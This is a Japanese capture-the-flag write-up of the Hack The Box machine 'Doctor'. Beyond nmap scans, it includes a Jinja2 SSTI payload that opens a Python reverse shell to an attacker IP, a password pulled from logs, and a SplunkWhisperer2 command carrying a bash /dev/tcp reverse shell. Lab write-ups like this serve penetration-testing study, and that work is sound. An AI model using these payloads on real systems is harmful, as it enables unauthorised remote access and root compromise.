目次
偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~/htb/doctor]
└─$ nmap -A 10.10.10.209 -p-
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for doctors.htb (10.10.10.209)
Host is up (0.21s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-title: Doctor Secure Messaging - Login
|_Requested resource was http://doctors.htb/login?next=%2F
| http-server-header:
| Apache/2.4.41 (Ubuntu)
|_ Werkzeug/1.0.1 Python/3.8.2
8089/tcp open ssl/http Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TCP/22,80,8089が開いていることがわかりました。TCP/80にIP指定でアクセスすると以下のような画面が表示されます。
ページ内から「info@doctors.htb」というアドレスが見つかります。
hostsファイルに登録しhttp://doctors.htbにアクセスしてみます。
http://doctors.htbはPythonが動作しているようです。
┌──(kali㉿kali)-[~/htb/doctor]
└─$ curl -I http://doctors.htb
HTTP/1.1 302 FOUND
Date: Fri, 14 Jun 2024 04:40:49 GMT
Server: Werkzeug/1.0.1 Python/3.8.2
Content-Type: text/html; charset=utf-8
Content-Length: 237
Location: http://doctors.htb/login?next=%2F
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiaW5mbyIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.ZmvJ0Q.w5uJMJdClZvrYac44oIrhlidQqs; HttpOnly; Path=/
また、TCP/8089はSplunkの画面が表示されます。
アクセス取得
Werkzeugは、FlaskというPythonのWebフレームワークでよく使用されるライブラリで、FlaskはJinja2というテンプレートエンジンを使用しています。ここにはSSTI(Server-Side Template Injection)の脆弱性が含まれる可能性があります。
SSTIでは、Webアプリケーションに利用されるテンプレートエンジンに対してユーザーが不正な入力を行うことで、サーバー側テンプレートにおける悪意あるコードの埋め込みや任意のコード実行を可能にする脆弱性です。
実際にSSTIの脆弱性があるか、以下サイトを参考に確認することができます。
http://doctors.htbにアクセスしアカウントを新規作成します。
その後、「New Message」よりSSTIの脆弱性を調べる投稿をします。
上記の投稿後、「/archive」にアクセスし、ページのソースを表示すると投稿の内容が反映されていることが確認できました。
SSTIの脆弱性が確認できたため、以下のサイトからペイロードをコピーして投稿します。
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.14.15\",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
再度、「/archive」にアクセスするとシェルが取得できました。
「web」のシェルが取得できました。
その他のユーザーを確認すると「shaun」が確認できました。
linpeasを実行すると「Searching passwords inside logs 」のセクションでパスワード「Guitar123」が確認できます。
上記のパスワードを使用することで「shaun」に移行でき「user.txt」を取得できます。
権限昇格
先程のlinpeasの結果ではsplunkdがroot権限で動いていることが確認できました。
また、Googleの検索より、「Splunk port 8089 exploit」のようなキーワードで検索を行うと以下のサイトが見つかります。
上記よりリポジトリをローカルにダウンロードします。
git clone https://github.com/cnotin/SplunkWhisperer2.git
その後、ncで待ち受けた状態で上記を実行するとrootが取得できました。
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.15 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.15/443 0>&1'"
参考にさせていただいたサイト
貴重な情報をありがとうございます。